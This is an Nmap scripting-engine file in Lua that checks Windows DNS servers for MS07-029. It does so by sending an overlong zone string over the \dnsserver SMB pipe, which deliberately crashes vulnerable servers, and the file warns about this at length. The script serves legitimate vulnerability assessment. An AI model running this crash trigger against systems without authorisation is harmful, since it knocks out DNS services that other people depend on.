local msrpc = require "msrpc" local nmap = require "nmap" local smb = require "smb" local stdnse = require "stdnse" local string = require "string" local table = require "table" local vulns = require "vulns" description = [[ Checks for vulnerabilities: * MS07-029, a Windows Dns Server RPC service vulnerability WARNING: These checks are dangerous, and are very likely to bring down a server. These should not be run in a production environment unless you (and, more importantly, the business) understand the risks! As a system administrator, performing these kinds of checks is crucial, because a lot more damage can be done by a worm or a hacker using this vulnerability than by a scanner. Penetration testers, on the other hand, might not want to use this script -- crashing services is not generally a good way of sneaking through a network. If you set the script parameter unsafe, then scripts will run that are almost (or totally) guaranteed to crash a vulnerable system; do NOT specify unsafe in a production environment! And that isn't to say that non-unsafe scripts will not crash a system, they're just less likely to. If you set the script parameter safe, then script will run that rarely or never crash a vulnerable system. No promises, though. MS07-029. Vulnerability targets the R_DnssrvQuery() and R_DnssrvQuery2() RPC method which is a part of DNS Server RPC interface that serves as a RPC service for configuring and getting information from the DNS Server service. DNS Server RPC service can be accessed using "\dnsserver" SMB named pipe. The vulnerability is triggered when a long string is send as the "zone" parameter which causes the buffer overflow which crashes the service. ]] --- --@usage -- nmap --script smb-vuln-ms07-029.nse -p445 -- sudo nmap -sU -sS --script smb-vuln-ms07-029.nse -p U:137,T:139 -- --@output -- Host script results: -- | smb-check-vulns: -- |_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive) -- -- @args unsafe If set, this script will run checks that, if the system isn't -- patched, are basically guaranteed to crash something. Remember that -- non-unsafe checks aren't necessarily safe either) -- @args safe If set, this script will only run checks that are known (or at -- least suspected) to be safe. ----------------------------------------------------------------------- author = "Ron Bowes" copyright = "Ron Bowes" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"intrusive","exploit","dos","vuln"} -- run after all smb-* scripts (so if it DOES crash something, it doesn't kill -- other scans have had a chance to run) dependencies = { "smb-brute", "smb-enum-sessions", "smb-security-mode", "smb-enum-shares", "smb-server-stats", "smb-enum-domains", "smb-enum-users", "smb-system-info", "smb-enum-groups", "smb-os-discovery", "smb-enum-processes", "smb-psexec", }; hostrule = function(host) return smb.get_port(host) ~= nil end local VULNERABLE = 1 local PATCHED = 2 local UNKNOWN = 3 local NOTRUN = 4 local INFECTED = 5 local INFECTED2 = 6 local CLEAN = 7 local NOTUP = 8 ---Check the existence of ms07_029 vulnerability in Microsoft Dns Server service. --This check is not safe as it crashes the Dns Server RPC service its dependencies. --@param host Host object. --@return (status, result) --* status == false -> result == NOTUP which designates --that the targeted Dns Server RPC service is not active. --* status == true -> -- ** result == VULNERABLE for vulnerable. -- ** result == PATCHED for not vulnerable. -- ** result == NOTRUN if check skipped. function check_ms07_029(host) --check for safety flag if(nmap.registry.args.safe ~= nil) then return true, NOTRUN end if(nmap.registry.args.unsafe == nil) then return true, NOTRUN end --create the SMB session local status, smbstate status, smbstate = msrpc.start_smb(host, msrpc.DNSSERVER_PATH) if(status == false) then stdnse.debug1("check_ms07_029: 1-false") return false, NOTUP --if not accessible across pipe then the service is inactive end --bind to DNSSERVER service local bind_result status, bind_result = msrpc.bind(smbstate, msrpc.DNSSERVER_UUID, msrpc.DNSSERVER_VERSION) if(status == false) then stdnse.debug1("check_ms07_029: false") msrpc.stop_smb(smbstate) return false, UNKNOWN --if bind operation results with a false status we can't conclude anything. end --call local req_blob, q_result status, q_result = msrpc.DNSSERVER_Query( smbstate, "VULNSRV", string.rep("\\\13", 1000), 1)--any op num will do --sanity check msrpc.stop_smb(smbstate) if(status == false) then stdnse.debug1("check_ms07_029: DNSSERVER_Query failed") if(q_result == "NT_STATUS_PIPE_BROKEN") then return true, VULNERABLE else return true, PATCHED end else return true, PATCHED end end action = function(host) local status, result, message local response = {} local vuln_report = vulns.Report:new(SCRIPT_NAME, host) local vuln_table = { title = 'Vulnerability in Windows DNS RPC Interface Could Allow Remote Code Execution (MS07-029)', state = vulns.STATE.NOT_VULN, description = [[ Stack-based buffer overflow in the RPC interface in the Domain Name System (DNS) Server Service in Microsoft Windows 2000 Server SP 4, Server 2003 SP 1, and Server 2003 SP 2 allows remote attackers to execute arbitrary code via a long zone name containing character constants represented by escape sequences. ]], IDS = {CVE = 'CVE-2007-1748'}, references = { 'https://technet.microsoft.com/en-us/library/security/ms07-029.aspx' }, dates = { disclosure = {year = '2007', month = '06', day = '06'}, } } -- Check for ms07-029 status, result = check_ms07_029(host) if(status == false) then if(result == NOTUP) then -- table.insert(response, get_response("MS07-029", "NO SERVICE", "the Dns Server RPC service is inactive", 1)) vuln_table.state = vulns.STATE.NOT_VULN else -- table.insert(response, get_response("MS07-029", "ERROR", result, 0, 1)) vuln_table.state = vulns.STATE.NOT_VULN end else if(result == VULNERABLE) then -- table.insert(response, get_response("MS07-029", "VULNERABLE", nil, 0)) vuln_table.state = vulns.STATE.VULN elseif(result == NOTRUN) then vuln_table.state = vulns.STATE.LIKELY_VULN vuln_table.check_results = "CHECK DISABLED. Add '--script-args=unsafe=1' to run" else -- table.insert(response, get_response("MS07-029", "NOT VULNERABLE", nil, 1)) vuln_table.state = vulns.STATE.NOT_VULN end end return vuln_report:make_output(vuln_table) end